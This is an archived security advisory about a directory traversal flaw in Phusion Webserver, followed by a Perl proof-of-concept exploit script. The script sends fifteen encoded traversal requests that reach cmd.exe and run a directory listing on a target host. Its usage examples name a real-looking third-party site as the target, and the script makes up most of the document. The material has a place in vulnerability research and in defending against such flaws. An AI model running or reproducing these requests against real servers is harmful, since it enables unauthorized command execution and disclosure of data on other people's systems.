source: http://www.securityfocus.com/bid/4117/info

Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.

Phusion Webserver is prone to directory traversal attacks. It is possible to break out of wwwroot using triple-dot-slash (.../) sequences containing HTTP-encoded variations of "/" and "\". As a result, a malicious web user may browse web-readable files on the host running the vulnerable software.

This vulnerability may potentially result in the disclosure of sensitive information contained in web-readable files on the host.

It should be noted that webservers normally run with SYSTEM privileges on Microsoft Windows operating systems. 

#!/usr/bin/perl
#
# Simple script to identify if the host is vulnerable!, 
# 
# This does 15 different checks based IIS 4-5. Have Fun!
#
# Phusion Webserver v1.0 proof-of-concept exploit
# By Alex Hernandez <[email protected]> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Phusion_exp.pl <Hosts>:<Port>
#
# Example: 
#
# perl -x Phusion_exp.pl www.whitehouse.com:80
# Trying.....................
#
# <THIS HOST IS VULNERABLE> :-)
# Check the previous notes to execute bugs.
#
#

use Socket;

if ($#ARGV<0) {die "
\nPhusion Webserver v1.0 traversal exploit(c)2002.
Alex Hernandez al3xhernandez\@ureach.com\n

Usage: perl -x $0 www.whitehouse.com:80 {OR}\n
[if the host is not using a proxy]\n
Usage: perl -x $0 127.0.0.1:80\n\n";}

($host,$port)=split(/:/,@ARGV[0]);
print "Trying.....................\n";
$target = inet_aton($host);
$flag=0;

# ---------------test method 1
my @results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 2
my @results=sendraw("GET
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 3
my @results=sendraw("GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 4
my @results=sendraw("GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 5
my @results=sendraw("GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 6
my @results=sendraw("GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}


# ---------------test method 7
my @results=sendraw("GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 8
my @results=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}


# ---------------test method 9
my @results=sendraw("GET
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 10
my @results=sendraw("GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 11
my @results=sendraw("GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 12
my @results=sendraw("GET
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 13
my @results=sendraw("GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 14
my @results=sendraw("GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../
winnt/system32/cmd.exe\?/c\+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

# ---------------test method 15
my @results=sendraw("GET
/.../.../.../.../winnt/system32/cmd.exe\?/c\+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}

#------------------------------
if ($flag==1){print "<THIS HOST IS VULNERABLE> :-)\n
Check the previous notes to execute bugs\n";}
else {print "<THIS HOST IS NOT VULNERABLE> :-( \n
Check manually on browser...\n";}


sub sendraw {   
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect check the port or address...\n"); }
}